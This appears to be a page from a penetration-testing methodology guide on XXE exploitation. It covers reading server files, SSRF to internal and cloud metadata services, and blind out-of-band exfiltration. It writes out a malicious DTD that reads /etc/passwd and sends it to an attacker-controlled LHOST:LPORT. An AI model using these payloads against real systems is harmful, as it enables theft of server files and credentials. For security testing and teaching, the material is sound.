XXE Exploitation
XXE exploitation uses external XML entities to read arbitrary files from the server filesystem, trigger SSRF to internal services, and in some cases execute blind out-of-band data exfiltration. Confirm DTD processing is active through XXE detection before attempting file reads.
In-Band File Read
Read files directly when the parsed XML content appears in the response:
<response>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin</response>
Target high-value files after confirming the read works:
SSRF via XXE
Use XXE to trigger HTTP requests to internal services. Replace the file:// URI with an http:// URI pointing at internal infrastructure:
<response>ec2-instance-role</response>
Blind XXE with Out-of-Band Exfiltration
When the response does not contain the entity value, use a DTD hosted on your server to exfiltrate data out-of-band. Host the malicious DTD first:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://LHOST:LPORT/?data=%file;'>">
%eval;
%exfil;
References
-
PortSwigger — XXEportswigger.net/web-security/xxe (opens in new tab)
File read, SSRF, and blind OOB exfiltration methodology
-
PayloadsAllTheThings — XXEgithub.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection (opens in new tab)
Payload collection including blind XXE and file read variants
Was this helpful?
Your feedback helps improve this page.